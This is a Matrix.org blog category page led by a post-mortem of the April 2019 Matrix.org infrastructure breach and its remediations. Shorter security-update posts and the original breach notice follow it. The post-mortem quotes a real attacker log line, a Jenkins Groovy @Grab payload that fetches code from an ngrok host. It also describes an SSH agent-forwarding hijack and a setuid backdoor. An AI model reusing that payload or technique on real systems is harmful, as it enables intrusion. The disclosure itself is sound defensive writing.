General

147 posts tagged with "General" (See all categories)

Atom Category Atom Feed

Post-mortem and remediations for Apr 11 security incident

2019-05-08 — General, SecurityMatthew Hodgson

🔗Table of contents

🔗Introduction

Hi all,

On April 11th we dealt with a major security incident impacting the infrastructure which runs the Matrix.org homeserver - specifically: removing an attacker who had gained superuser access to much of our production network. We provided updates at the time as events unfolded on April 11 and 12 via Twitter and our blog, but in this post we’ll try to give a full analysis of what happened and, critically, what we have done to avoid this happening again in future. Apologies that this has taken several weeks to put together: the time-consuming process of rebuilding after the breach has had to take priority, and we also wanted to get the key remediation work in place before writing up the post-mortem.

Firstly, please understand that this incident was not due to issues in the Matrix protocol itself or the wider Matrix network - and indeed everyone who wasn’t on the Matrix.org server should have barely noticed. If you see someone say “Matrix got hacked”, please politely but firmly explain to them that the servers which run the oldest and biggest instance got compromised via a Jenkins vulnerability and bad ops practices, but the protocol and network itself was not impacted. This is not to say that the Matrix protocol itself is bug free - indeed we are still in the process of exiting beta (delayed by this incident), but this incident was not related to the protocol.

Before we get stuck in, we would like to apologise unreservedly to everyone impacted by this whole incident. Matrix is an altruistic open source project, and our mission is to try to make the world a better place by providing a secure decentralised communication protocol and network for the benefit of everyone; giving users total control back over how they communicate online.

In this instance, our focus on trying to improve the protocol and network came at the expense of investing sysadmin time around the legacy Matrix.org homeserver and project infrastructure which we provide as a free public service to help bootstrap the Matrix ecosystem, and we paid the price.

This post will hopefully illustrate that we have learnt our lessons from this incident and will not be repeating them - and indeed intend to come out of this episode stronger than you can possibly imagine :)

Meanwhile, if you think that the world needs Matrix, please consider supporting us via Patreon or Liberapay. Not only will this make it easier for us to invest in our infrastructure in future, it also makes projects like Pantalaimon (E2EE compatibility for all Matrix clients/bots) possible, which are effectively being financed entirely by donations. The funding we raised in Jan 2018 is not going to last forever, and we are currently looking into new longer-term funding approaches - for which we need your support.

Finally, if you happen across security issues in Matrix or matrix.org’s infrastructure, please please consider disclosing them responsibly to us as per our Security Disclosure Policy, in order to help us improve our security while protecting our users.

🔗History

Firstly, some context about Matrix.org’s infrastructure. The public Matrix.org homeserver and its associated services runs across roughly 30 hosts, spanning the actual homeserver, its DBs, load balancers, intranet services, website, bridges, bots, integrations, video conferencing, CI, etc. We provide it as a free public service to the Matrix ecosystem to help bootstrap the network and make life easier for first-time users.

The deployment which was compromised in this incident was mainly set up back in Aug 2017 when we vacated our previous datacenter at short notice, thanks to our funding situation at the time. Previously we had been piggybacking on the well-managed production datacenters of our previous employer, but during the exodus we needed to move as rapidly as possible, and so we span up a bunch of vanilla Debian boxes on UpCloud, and shifted over services as simply as we could. We had no dedicated ops people on the project at that point, so this was a subset of the Synapse and Riot/Web dev teams putting on ops hats to rapidly get set up, whilst also juggling the daily fun of keeping the ever-growing Matrix.org server running and trying to actually develop and improve Matrix itself.

In practice, this meant that some corners were cut that we expected to be able to come back to and address once we had dedicated ops staff on the team. For instance, we skipped setting up a VPN for accessing production in favour of simply SSHing into the servers over the internet. We also went for the simplest possible config management system: checking all the configs for the services into a private git repo. We also didn’t spend much time hardening the default Debian installations - for instance, the default image allows root access via SSH and allows SSH agent forwarding, and the config wasn’t tweaked. This is particularly unfortunate, given our previous production OS (a customised Debian variant) had got all these things right - but the attitude was that because we’d got this right in the past, we’d be easily able to get it right in future once we fixed up the hosts with proper configuration management etc.

Separately, we also made the controversial decision to maintain a public-facing Jenkins instance. We did this deliberately, despite the risks associated with running a complicated publicly available service like Jenkins, but reasoned that as a FOSS project, it is imperative that we are transparent and that continuous integration results and artefacts are available and directly visible to all contributors - whether they are part of the core dev team or not. So we put Jenkins on its own host, gave it some macOS build slaves, and resolved to keep an eye open for any security alerts which would require an upgrade.

Lots of stuff then happened over the following months - we secured funding in Jan 2018; the French Government began talking about switching to Matrix around the same time; the pressure of getting Matrix (and Synapse and Riot) out of beta and to a stable 1.0 grew ever stronger; the challenge of handling the ever-increasing traffic on the Matrix.org server soaked up more and more time, and we started to see our first major security incidents (a major DDoS in March 2018, mitigated by shielding behind Cloudflare, and various attacks on the more beta bits of Matrix itself).

Good news was that funding meant that in March 2018 we were able to hire a fulltime ops specialist! By this point, however, we had two new critical projects in play to try to ensure long-term funding for the project via New Vector, the startup formed in 2017 to hire the core team. Firstly, to build out Modular.im as a commercial-grade Matrix SaaS provider, and secondly, to support France in rolling out their massive Matrix deployment as a flagship example how Matrix can be used. And so, for better or worse, the brand new ops team was given a very clear mandate: to largely ignore the legacy datacenter infrastructure, and instead focus exclusively on building entirely new, pro-grade infrastructure for Modular.im and France, with the expectation of eventually migrating Matrix.org itself into Modular when ready (or just turning off the Matrix.org server entirely, once we have account portability).

So we ended up with two production environments; the legacy Matrix.org infra, whose shortcomings continued to linger and fester off the radar, and separately all the new Modular.im hosts, which are almost entirely operationally isolated from the legacy datacenter; whose configuration is managed exclusively by Ansible, and have sensible SSH configs which disallow root login etc. With 20:20 hindsight, the failure to prioritise hardening the legacy infrastructure is quite a good example of the normalisation of deviance - we had gotten too used to the bad practices; all our attention was going elsewhere; and so we simply failed to prioritise getting back to fix them.

🔗The Incident

The first evidence of things going wrong was a tweet from JaikeySarraf, a security researcher who kindly reached out via DM at the end of Apr 9th to warn us that our Jenkins was outdated after stumbling across it via Google. In practice, our Jenkins was running version 2.117 with plugins which had been updated on an adhoc basis, and we had indeed missed the security advisory (partially because most of our CI pipelines had moved to TravisCI, CircleCI and Buildkite), and so on Apr 10th we updated the Jenkins and investigated to see if any vulnerabilities had been exploited.

In this process, we spotted an unrecognised SSH key in /root/.ssh/authorized_keys2 on the Jenkins build server. This was suspicious both due to the key not being in our key DB and the fact the key was stored in the obscure authorized_keys2 file (a legacy location from back when OpenSSH transitioned from SSH1->SSH2). Further inspection showed that 19 hosts in total had the same key present in the same place.

At this point we started doing forensics to understand the scope of the attack and plan the response, as well as taking snapshots of the hosts to protect data in case the attacker realised we were aware and attempted to vandalise or cover their tracks. Findings were:

matrix.org:443 151.34.xxx.xxx - - [13/Mar/2019:18:46:07 +0000] "GET /jenkins/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27orange.tw%27,%20root=%27http://5f36xxxx.ngrok.io/jenkins/%27)%0A@Grab(group=%27tw.orange%27,%20module=%270x3a%27,%20version=%27000%27)%0Aimport%20Orange; HTTP/1.1" 500 6083 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"

  • This allowed them to further compromise a Jenkins slave (Flywheel, an old Mac Pro used mainly for continuous integration testing of Riot/iOS and Riot/Android). The attacker put an SSH key on the box, which was unfortunately exposed to the internet via a high-numbered SSH port for ease of admin by remote users, and placed a trap which waited for any user to SSH into the jenkins user, which would then hijack any available forwarded SSH keys to try to add the attacker’s SSH key to root@ on as many other hosts as possible.
  • On Apr 4th at 12:32 GMT, one of the Riot devops team members SSH’d into the Jenkins slave to perform some admin, forwarding their SSH key for convenience for accessing other boxes while doing so. This triggered the trap, and resulted in the majority of the malicious keys being inserted to the remote hosts.
  • From this point on, the attacker proceeded to explore the network, performing targeted exfiltration of data (e.g. our passbolt database, which is thankfully end-to-end encrypted via GPG) seemingly targeting credentials and data for use in onward exploits, and installing backdoors for later use (e.g. a setuid root shell at /usr/share/bsd-mail/shroot).
  • The majority of access to the hosts occurred between Apr 4th and 6th.
  • There was no evidence of large-scale data exfiltration, based on analysing network logs.
  • There was no evidence of Modular.im hosts having been compromised. (Modular’s provisioning system and DB did run on the old infrastructure, but it was not used to tamper with the modular instances themselves).
  • There was no evidence of the identity server databases having been compromised.
  • There was no evidence of tampering in our source code repositories.
  • There was no evidence of tampering of our distributed software packages.
  • Two more hosts were compromised on Apr 5th by similarly hijacking another developer SSH agent as the dev logged into a production server.

By around 2am on Apr 11th we felt that we had sufficient visibility on the attacker’s behaviour to be able to do a first pass at evicting them by locking down SSH, removing their keys, and blocking as much network traffic as we could.

We then started a full rebuild of the datacenter on the morning of Apr 11th, given that the only responsible course of action when an attacker has acquired root is to salt the earth and start over afresh. This meant rotating all secrets; isolating the old hosts entirely (including ones which appeared to not have been compromised, for safety), spinning up entirely new hosts, and redeploying everything from scratch with the fresh secrets. The process was significantly slowed down by colliding with unplanned maintenance and provisioning issues in the datacenter provider and unexpected delays spent waiting to copy data volumes between datacenters, but by 1am on Apr 12th the core matrix.org server was back up, and we had enough of a website up to publish the initial security incident blog post. (This was actually static HTML, faked by editing the generated WordPress content from the old website. We opted not to transition any WordPress deployments to the new infra, in a bid to keep our attack surface as small as possible going forwards).

Given the production database had been accessed, we had no choice but drop all access_tokens for matrix.org, to stop the attacker accessing user accounts, causing a forced logout for all users on the server. We also recommended all users change their passwords, given the salted & hashed (4096 rounds of bcrypt) passwords had likely been exfiltrated.

At about 4am we had enough of the bare necessities back up and running to pause for sleep.

🔗The Defacement

At around 7am, we were woken up to the news that the attacker had managed to replace the matrix.org website with a defacement (as per https://github.com/vector-im/riot-web/issues/9435). It looks like the attacker didn’t think we were being transparent enough in our initial blog post, and wanted to make it very clear that they had access to many hosts, including the production database and had indeed exfiltrated password hashes. Unfortunately it took a few hours for the defacement to get on our radar as our monitoring infrastructure hadn’t yet been fully restored and the normal paging infrastructure wasn’t back up (we now have emergency-emergency-paging for this eventuality).

On inspection, it transpired that the attacker had not compromised the new infrastructure, but had used Cloudflare to repoint the DNS for matrix.org to a defacement site hosted on Github. Now, as part of rotating the secrets which had been compromised via our configuration repositories, we had of course rotated the Cloudflare API key (used to automate changes to our DNS) during the rebuild on Apr 11. When you log into Cloudflare, it looks something like this...

Cloudflare login UI

...where the top account is your personal one, and the bottom one is an admin role account. To rotate the admin API key, we clicked on the admin account to log in as the admin, and then went to the Profile menu, found the API keys and hit the Change API Key button.

Unfortunately, when you do this, it turns out that the API Key it changes is your personal one, rather than the admin one. As a result, in our rush we thought we’d rotated the admin API key, but we hadn’t, thus accidentally enabling the defacement.

To flush out the defacement we logged in directly as the admin user and changed the API key, pointed the DNS back at the right place, and continued on with the rebuild.

🔗The Rebuild

The goal of the rebuild has been to get all the higher priority services back up rapidly - whilst also ensuring that good security practices are in place going forwards. In practice, this meant making some immediate decisions about how to ensure the new infrastructure did not suffer the same issues and fate as the old. Firstly, we ensured the most obvious mistakes that made the breach possible were mitigated:

  • Access via SSH restricted as heavily as possible
  • SSH agent forwarding disabled server-side
  • All configuration to be managed by Ansible, with secrets encrypted in vaults, rather than sitting in a git repo.

Then, whilst reinstating services on the new infra, we opted to review everything being installed for security risks, replacing with securer alternatives if needed, even if it slowed down the rebuild. Particularly, this meant:

  • Jenkins has been replaced by Buildkite
  • Wordpress has been replaced by static generated sites (e.g. Gatsby)
  • cgit has been replaced by gitlab.
  • Entirely new packaging building, signing & distribution infrastructure (more on that later)
  • etc.

Now, while we restored the main synapse (homeserver), sydent (identity server), sygnal (push server), databases, load balancers, intranet and website on Apr 11, it’s important to understand that there were over 100 other services running on the infra - which is why it is taking a while to get full parity with where we were before.

In the interest of transparency (and to try to give a sense of scale of the impact of the breach), here is the public-facing service list we restored, showing priority (1 is top, 4 is bottom) and the % restore status as of May 4th:

Service status

Apologies again that it took longer to get some of these services back up than we’d preferred (and that there are still a few pending). Once we got the top priority ones up, we had no choice but to juggle the remainder alongside remediation work, other security work, and actually working on Matrix(!), whilst ensuring that the services we restored were being restored securely.

🔗Remediations

Once the majority of the P1 and P2 services had been restored, on Apr 24 we held a formal retrospective for the team on the whole incident, which in turn kicked off a full security audit over the entirety of our infrastructure and operational processes.

We’d like to share the resulting remediation plan in as much detail as possible, in order to show the approach we are taking, and in case it helps others avoid repeating the mistakes of our past. Inevitably we’re going to have to skip over some of the items, however - after all, remediations imply that there’s something that could be improved, and for obvious reasons we don’t want to dig into areas where remediation work is still ongoing. We will aim to provide an update on these once ongoing work is complete, however.

We should also acknowledge that after being removed from the infra, the attacker chose to file a set of Github issues on Apr 12 to highlight some of the security issues that had taken advantage of during the breach. Their actions matched the findings from our forensics on Apr 10, and their suggested remediations aligned with our plan.

We’ve split the remediation work into the following domains.

🔗SSH

Some of the biggest issues exposed by the security breach concerned our use of SSH, which we’ll take in turn:

🔗SSH agent forwarding should be disabled.

SSH agent forwarding is a beguilingly convenient mechanism which allows a user to ‘forward’ access to their private SSH keys to a remote server whilst logged in, so they can in turn access other servers via SSH from that server. Typical uses are to make it easy to copy files between remote servers via scp or rsync, or to interact with a SCM system such as Github via SSH from a remote server. Your private SSH keys end up available for use by the server for as long as you are logged into it, letting the server impersonate you.

The common wisdom on this tends to be something like: “Only use agent forwarding when connecting to trusted hosts”. For instance, Github’s guide to using SSH agent forwarding says:

Warning: You may be tempted to use a wildcard like Host * to just apply this setting (ForwardAgent: yes) to all SSH connections. That's not really a good idea, as you'd be sharing your local SSH keys with every server you SSH into. They won't have direct access to the keys, but they will be able to use them as you while the connection is established. You should only add servers you trust and that you intend to use with agent forwarding

As a result, several of the team doing ops work had set Host *.matrix.org ForwardAgent: yes in their ssh client configs, thinking “well, what can we trust if not our own servers?”

This was a massive, massive mistake.

If there is one lesson everyone should learn from this whole mess, it is: SSH agent forwarding is incredibly unsafe, and in general you should never use it. Not only can malicious code running on the server as that user (or root) hijack your credentials, but your credentials can in turn be used to access hosts behind your network perimeter which might otherwise be inaccessible. All it takes is someone to have snuck malicious code on your server waiting for you to log in with a forwarded agent, and boom, even if it was just a one-off ssh -A.

Our remediations for this are:

  • Disable all ssh agent forwarding on the servers.
  • If you need to jump through a box to ssh into another box, use ssh -J $host.
  • This can also be used with rsync via rsync -e "ssh -J $host"
  • If you need to copy files between machines, use rsync rather than scp (OpenSSH 8.0’s release notes explicitly recommends using more modern protocols than scp).
  • If you need to regularly copy stuff from server to another (or use SSH to GitHub to check out something from a private repo), it might be better to have a specific SSH ‘deploy key’ created for this, stored server-side and only able to perform limited actions.
  • If you just need to check out stuff from public git repos, use https rather than git+ssh.
  • Try to educate everyone on the perils of SSH agent forwarding: if our past selves can’t be a good example, they can at least be a horrible warning...

Another approach could be to allow forwarding, but configure your SSH agent to prompt whenever a remote app tries to access your keys. However, not all agents support this (OpenSSH’s does via ssh-add -c, but gnome-keyring for instance doesn’t), and also it might still be possible for a hijacker to race with the valid request to hijack your credentials.

🔗SSH should not be exposed to the general internet

Needless to say, SSH is no longer exposed to the general internet. We are rolling out a VPN as the main access to dev network, and then SSH bastion hosts to be the only access point into production, using SSH keys to restrict access to be as minimal as possible.

🔗SSH keys should give minimal access

Another major problem factor was that individual SSH keys gave very broad access. We have gone through ensuring that SSH keys grant the least privilege required to the users in question. Particularly, root login should not be available over SSH.

A typical scenario where users might end up with unnecessary access to production are developers who simply want to push new code or check its logs. We are mitigating this by switching over to using continuous deployment infrastructure everywhere rather than developers having to actually SSH into production. For instance, the new matrix.org blog is continuously deployed into production by Buildkite from GitHub without anyone needing to SSH anywhere. Similarly, logs should be available to developers from a logserver in real time, without having to SSH into the actual production host. We’ve already been experimenting internally with sentry for this.

Relatedly, we’ve also shifted to requiring multiple SSH keys per user (per device, and for privileged / unprivileged access), to have finer grained granularity over locking down their permissions and revoking them etc. (We had actually already started this process, and while it didn’t help prevent the attack, it did assist with forensics).

🔗Two factor authentication

We are rolling out two-factor authentication for SSH to ensure that even if keys are compromised (e.g. via forwarding hijack), the attacker needs to have also compromised other physical tokens in order to successfully authenticate.

🔗It should be made as hard as possible to add malicious SSH keys

We’ve decided to stop users from being able to directly manage their own SSH keys in production via ~/.ssh/authorized_keys (or ~/.ssh/authorized_keys2 for that matter) - we can see no benefit from letting non-root users set keys.

Instead, keys for all accounts are managed exclusively by Ansible via /etc/ssh/authorized_keys/$account (using sshd’s AuthorizedKeysFile /etc/ssh/authorized_keys/%u directive).

🔗Changes to SSH keys should be carefully monitored

If we’d had sufficient monitoring of the SSH configuration, the breach could have been caught instantly. We are doing this by managing the keys exclusively via Ansible, and also improving our intrusion detection in general.

Similarly, we are working on tracking changes and additions to other credentials (and enforcing their complexity).

🔗SSH config should be hardened, disabling unnecessary options

If we’d gone through reviewing the default sshd config when we set up the datacenter in the first place, we’d have caught several of these failure modes at the outset. We’ve now done so (as per above).

We’d like to recommend that packages of openssh start having secure-by-default configurations, as a number of the old options just don’t need to exist on most newly provisioned machines.

🔗Network architecture

As mentioned in the History section, the legacy network infrastructure effectively grew organically, without really having a core network or a good split between different production environments.

We are addressing this by:

  • Splitting our infrastructure into strictly separated service domains, which are firewalled from each other and can only access each other via their respective ‘front doors’ (e.g. HTTPS APIs exposed at the loadbalancers).
    • Development
    • Intranet
    • Package Build (airgapped; see below for more details)
    • Package Distribution
    • Production, which is in turn split per class of service.
  • Access to these networks will be via VPN + SSH jumpboxes (as per above). Access to the VPN is via per-device certificate + 2FA, and SSH via keys as per above.
  • Switching to an improved internal VPN between hosts within a given network environment (i.e. we don’t trust the datacenter LAN).

We’re also running most services in containers by default going forwards (previously it was a bit of a mix of running unix processes, VMs, and occasional containers), providing an additional level of namespace isolation.

🔗Keeping patched

Needless to say, this particular breach would not have happened had we kept the public-facing Jenkins patched (although there would of course still have been scope for a 0-day attack).

Going forwards, we are establishing a formal regular process for deploying security updates rather than relying on spotting security advisories on an ad hoc basis. We are now also setting up regular vulnerability scans against production so we catch any gaps before attackers do.

Aside from our infrastructure, we’re also extending the process of regularly checking for security updates to also checking for outdated dependencies in our distributed software (Riot, Synapse, etc) too, given the discipline to regularly chase outdated software applies equally to both.

Moving all our machine deployment and configuration into Ansible allows this to be a much simpler task than before.

🔗Intrusion detection

There’s obviously a lot we need to do in terms of spotting future attacks as rapidly as possible. Amongst other strategies, we’re working on real-time log analysis for aberrant behaviour.

🔗Incident management

There is much we have learnt from managing an incident at this scale. The main highlights taken from our internal retrospective are:

  • The need for a single incident manager to coordinate the technical response and coordinate prioritisation and handover between those handling the incident. (We lacked a single incident manager at first, given several of the team started off that week on holiday...)
  • The benefits of gathering all relevant info and checklists onto a canonical set of shared documents rather than being spread across different chatrooms and lost in scrollback.
  • The need to have an existing inventory of services and secrets available for tracking progress and prioritisation
  • The need to have a general incident management checklist for future reference, which folks can familiarise themselves with ahead of time to avoid stuff getting forgotten. The sort of stuff which will go on our checklist in future includes:
    • Remembering to appoint named incident manager, external comms manager & internal comms manager. (They could of course be the same person, but the roles are distinct).
    • Defining a sensible sequence of forensics, mitigations, communication, rotating secrets etc is followed rather than having to work it out on the fly and risk forgetting stuff
    • Remembering to informing the ICO (Information Commissioner Office) of any user data breaches
    • Guidelines on how to balance between forensics and rebuilding (i.e. how long to spend on forensics, if at all, before pulling the plug)
    • Reminders to snapshot systems for forensics & backups
    • Reminder to not redesign infrastructure during a rebuild. There were a few instances where we lost time by seizing the opportunity to try to fix design flaws whilst rebuilding, some of which were avoidable.
    • Making sure that communication isn’t sent prematurely to users (e.g. we posted the blog post asking people to update their passwords before password reset had actually been restored - apologies for that.)

🔗Configuration management

One of the major flaws once the attacker was in our network was that our internal configuration git repo was cloned on most accounts on most servers, containing within it a plethora of unencrypted secrets. Config would then get symlinked from the checkout to wherever the app or OS needed it.

This is bad in terms of leaving unencrypted secrets (database passwords, API keys etc) lying around everywhere, but also in terms of being able to automatically maintain configuration and spot unauthorised configuration changes.

Our solution is to switch all configuration management, from the OS upwards, to Ansible (which we had already established for Modular.im), using Ansible vaults to store the encrypted secrets. It’s unfortunate that we had already done the work for this (and even had been giving talks at Ansible meetups about it!) but had not yet applied it to the legacy infrastructure.

🔗Avoiding temporary measures which last forever

None of this would have happened had we been more disciplined in finishing off the temporary infrastructure from back in 2017. As a general point, we should try and do it right the first time - and failing that, assign responsibility to someone to update it and assign responsibility to someone else to check. In other words, the only way to dig out of temporary measures like this is to project manage the update or it will not happen. This is of course a general point not specific to this incident, but one well worth reiterating.

🔗Secure packaging

One of the most unfortunate mistakes highlighted by the breach is that the signing keys for the Synapse debian repository, Riot debian repository and Riot/Android releases on the Google Play Store had ended up on hosts which were compromised during the attack. This is obviously a massive fail, and is a case of the geo-distributed dev teams prioritising the convenience of a near-automated release process without thinking through the security risks of storing keys on a production server.

Whilst the keys were compromised, none of the packages that we distribute were tampered with. However, the impact on the project has been high - particularly for Riot/Android, as we cannot allow the risk of an attacker using the keys to sign and somehow distribute malicious variants of Riot/Android, and Google provides no means of recovering from a compromised signing key beyond creating a whole new app and starting over. Therefore we have lost all our ratings, reviews and download counts on Riot/Android and started over. (If you want to give the newly released app a fighting chance despite this setback, feel free to give it some stars on the Play Store). We also revoked the compromised Synapse & Riot GPG keys and created new ones (and published new instructions for how to securely set up your Synapse or Riot debian repos).

In terms of remediation, designing a secure build process is surprisingly hard, particularly for a geo-distributed team. What we have landed on is as follows:

  • Developers create a release branch to signify a new release (ensuring dependencies are pinned to known good versions).
  • We then perform all releases from a dedicated isolated release terminal.
    • This is a device which is kept disconnected from the internet, other than when doing a release, and even then it is firewalled to be able to pull data from SCM and push to the package distribution servers, but otherwise entirely isolated from the network.
    • Needless to say, the device is strictly used for nothing other than performing releases.
    • The build environment installation is scripted and installs on a fresh OS image (letting us easily build new release terminals as needed)
    • The signing keys (hardware or software) are kept exclusively on this device.
    • The publishing SSH keys (hardware or software) used to push to the packaging servers are kept exclusively on this device.
    • We physically store the device securely.
    • We ensure someone on the team always has physical access to it in order to do emergency builds.
  • Meanwhile, releases are distributed using dedicated infrastructure, entirely isolated from the rest of production.
    • These live at https://packages.matrix.org and https://packages.riot.im
    • These are minimal machines with nothing but a static web-server.
    • They are accessed only via the dedicated SSH keys stored on the release terminal.
    • These in turn can be mirrored in future to avoid a SPOF (or we could cheat and use Cloudflare’s always online feature, for better or worse).

Alternatives here included:

  • In an ideal world we’d do reproducible builds instead, and sign the build’s hash with a hardware key, but given we don’t have reproducible builds yet this will have to suffice for now.
  • We could delegate building and distribution entirely to a 3rd party setup such as OBS (as per https://github.com/matrix-org/matrix.org/issues/370). However, we have a very wide range of artefacts to build across many different platforms and OSes, so would rather build ourselves if we can.

🔗Dev and CI infrastructure

The main change in our dev and CI infrastructure is to move from Jenkins to Buildkite. The latter has been serving us well for Synapse builds over the last few months, and has now been extended to serve all the main CI pipelines that Jenkins was providing. Buildkite works by orchestrating jobs on a elastic pool of CI workers we host in our own AWS, and so far has done so quite painlessly.

The new pipelines have been set up so that where CI needs to push artefacts to production for continuous deployment (e.g. riot.im/develop), it does so by poking production via HTTPS to trigger production to pull the artefact from CI, rather than pushing the artefact via SSH to production.

Other than CI, our strategy is:

  • Continue using Github for public repositories
  • Use gitlab.matrix.org for private repositories (and stuff which we don’t want to re-export via the US, like Olm)
  • Continue to host docker images on Docker Hub (despite their recent security dramas).

🔗Log minimisation and handling Personally Identifying Information (PII)

Another thing that the breach made painfully clear is that we log too much. While there’s not much evidence of the attacker going spelunking through any Matrix service log files, the fact is that whilst developing Matrix we’ve kept logging on matrix.org relatively verbose to help with debugging. There’s nothing more frustrating than trying to trace through the traffic for a bug only to discover that logging didn’t pick it up.

However, we can still improve our logging and PII-handling substantially:

  • Ensuring that wherever possible, we hash or at least truncate any PII before logging it (access tokens, matrix IDs, 3rd party IDs etc).
  • Minimising log retention to the bare minimum we need to investigate recent issues and abuse
  • Ensuring that PII is stored hashed wherever possible.

Meanwhile, in Matrix itself we already are very mindful of handling PII (c.f. our privacy policies and GDPR work), but there is also more we can do, particularly:

  • Turning on end-to-end encryption by default, so that even if a server is compromised, the attacker cannot get at private message history. Everyone who uses E2EE in Matrix should have felt some relief that even though the server was compromised, their message history was safe: we need to provide that to everyone. This is https://github.com/vector-im/riot-web/issues/6779.
  • We need device audit trails in Matrix, so that even if a compromised server (or malicious server admin) temporarily adds devices to your account, you can see what’s going on. This is https://github.com/matrix-org/synapse/issues/5145
  • We need to empower users to configure history retention in their rooms, so they can limit the amount of history exposed to an attacker. This is https://github.com/matrix-org/matrix-doc/pull/1763
  • We need to provide account portability (aka decentralised accounts) so that even if a server is compromised, the users can seamlessly migrate elsewhere. The first step of this is https://github.com/matrix-org/matrix-doc/pull/1228.

🔗Conclusion

Hopefully this gives a comprehensive overview of what happened in the breach, how we handled it, and what we are doing to protect against this happening in future.

Again, we’d like to apologise for the massive inconvenience this caused to everyone caught in the crossfire. Thank you for your patience and for sticking with the project whilst we restored systems. And while it is very unfortunate that we ended up in this situation, at least we should be coming out of it much stronger, at least in terms of infrastructure security. We’d also like to particularly thank Kade Morton for providing independent review of this post and our remediations, and everyone who reached out with #hugops during the incident (it was literally the only positive thing we had on our radar), and finally thanks to the those of the Matrix team who hauled ass to rebuild the infrastructure, and also those who doubled down meanwhile to keep the rest of the project on track.

On which note, we’re going to go back to building decentralised communication protocols and reference implementations for a bit... Emoji reactions are on the horizon (at last!), as is Message Editing, RiotX/Android and a host of other long-awaited features - not to mention finally releasing Synapse 1.0. So: thanks again for flying Matrix, even during this period of extreme turbulence and, uh, hijack. Things should mainly be back to normal now and for the foreseeable.

Given the new blog doesn't have comments yet, feel free to discuss the post over at HN.

Security updates: Sydent 1.0.3, Synapse 0.99.3.1 and Riot/Android 0.9.0 / 0.8.99 / 0.8.28a

2019-05-03 — General, SecurityMatthew Hodgson

Hi all,

Over the last few weeks we’ve ended up getting a lot of attention from the security research community, which has been incredibly useful and massively appreciated in terms of contributions to improve the security of the reference Matrix implementations.

We’ve also set up an official Security Disclosure Policy to explain the process of reporting security issues to us safely via responsible disclosure - including a Hall of Fame to credit those who have done so. (Please mail [email protected] to remind us if we’ve forgotten you!).

Since we published the Hall of Fame yesterday, we’ve already been getting new entries and so we’re doing a set of security releases today to ensure they are mitigated asap. Unfortunately the work around this means that we’re running late in publishing the post mortem of the Apr 11 security incident - we are trying to get that out as soon as we can.

🔗Sydent 1.0.3

Sydent 1.0.3 has three security fixes:

  • Ensure that authentication tokens are generated using a secure random number generator, ensuring they cannot be predicted by an attacker. This is an important fix - please update. Thanks to Enguerran Gillier (@opnsec) for identifying and responsibly disclosing the issue!
  • Mitigate an HTML injection bug where an invalid room_id could result in malicious HTML being injected into validation emails. The fix for this is in the email template itself; you will need to update any customised email templates to be protected. Thanks to Enguerran Gillier (@opnsec) for identifying and responsibly disclosing this issue too!
  • Randomise session_ids to avoid leaking info about the total number of identity validations, and whether a given ID has been validated. Thanks to @fs0c131y for identifying and responsibly disclosing this one.

If you are running Sydent as an identity server, you should update as soon as possible from https://github.com/matrix-org/sydent/releases/v1.0.3. We are not aware of any of these issues having been exploited maliciously in the wild.

🔗Synapse 0.99.3.1

Synapse 0.99.3.1 is a security update for two fixes:

  • Ensure that random IDs in Synapse are generated using a secure random number generator, ensuring they cannot be predicted by an attacker. Thanks to Enguerran Gillier (@opnsec) for identifying and responsibly disclosing this issue!
  • Add 0.0.0.0/32 and ::/128 to the URL preview blacklist configuration, ensuring that an attacker cannot make connections to localhost. Thanks to Enguerran Gillier (@opnsec) for identifying and responsibly disclosing this issue too!

You can update from https://github.com/matrix-org/synapse/releases or similar as normal. We are not aware of any of these issues having been exploited maliciously in the wild.

(Synapse 0.99.3.2 was released shortly afterwards to fix a non-security issue with the Debian packaging)

🔗Riot/Android 0.9.x/0.8.99 (Google Play) and 0.8.28a (F-Droid)

Riot/Android has an important security fix which shipped over the course of the last week in various versions of the app:

  • Remove obsolete and buggy ContentProvider which could allow a malicious local app to compromise account data. Many thanks to Julien Thomas (@julien_thomas) from Protektoid Project for identifying this and responsibly disclosing it!

The fix for this shipped on F-Droid since 0.8.28a, and on the Play Store, the fix is present in both v0.9.0 (the first version of the re-published Riot app) and v0.8.99 (the last version of the old Riot app, which told everyone to reinstall). Other forks of Riot which we’re aware of have also been informed and should be updated.

If you haven’t already updated, please do so now.

Security Update: Sydent 1.0.2

2019-04-18 — GeneralMatrix.org Team

🔗Overview

We became aware today of a flaw in sydent’s validation of email addresses which can lead to a failure to correctly limit registration to a given email domain. This only affects people who run their own sydent, and are relying on allowed_local_3pid in their synapse config. We’d like to thank @fs0c131y for bringing it to our attention on Twitter this morning. We are not aware of this being exploited in the wild other than the initial report.

If you are running your own sydent, and limiting signup for your server using the allowed_local_3pids configuration option, then you need to upgrade your sydent immediately to Sydent 1.0.2.

Meanwhile, if you have been relying on the allowed_local_3pids configuration option to restrict access to your homeserver, you may wish to check your homeserver’s user_threepids table for malformed email addresses and your sydent’s database as follows:

$ sqlite3 sydent.db 
sqlite> select count(*) from global_threepid_associations where address like '%@%@%';
0

$ psql matrix
matrix=> select count(*) from user_threepids where address like '%@%@%';
 count 
-------
     0

If the queries return more than 0 results, please let us know at [email protected] - otherwise you are fine.

🔗Details

A flaw existed in sydent whereby it was possible to bypass the requirement specified in synapse’s allowed_local_3pids option, which restricts that users may only register with an email address matching a specific format.

This relied on two things:

  1. sydent uses python's email.utils.parseaddr function to parse the input email address before sending validation mail to it, but it turns out that if you hand parseaddr an malformed email address of form [email protected]@c.com, it silently discards the @c.com prefix without error. The result of this is that if one requested a validation token for '[email protected]@important.com', the token would be sent to '[email protected]', but the address '[email protected]@important.com' would be marked as validated. This release fixes this behaviour by asserting that the parsed email address is the same as the input email address.
  2. synapse's checking of email addresses relies on regular expressions in the home server configuration file. synapse does not validate email addresses before checking them against these regular expressions, so naive regular expressions will detect the second domain in email addresses such as the above, causing them to pass the check.

You can get sydent 1.0.2 from https://github.com/matrix-org/sydent/releases/tag/v1.0.2.

We have discovered and addressed a security breach. (Updated 2019-04-12)

2019-04-11 — GeneralMatrix.org Team

Update: for the full story here, please see the post mortem.

🔗Here's what you need to know.

TL;DR: An attacker gained access to the servers hosting Matrix.org. The intruder had access to the production databases, potentially giving them access to unencrypted message data, password hashes and access tokens. As a precaution, if you're a matrix.org user you should change your password now.

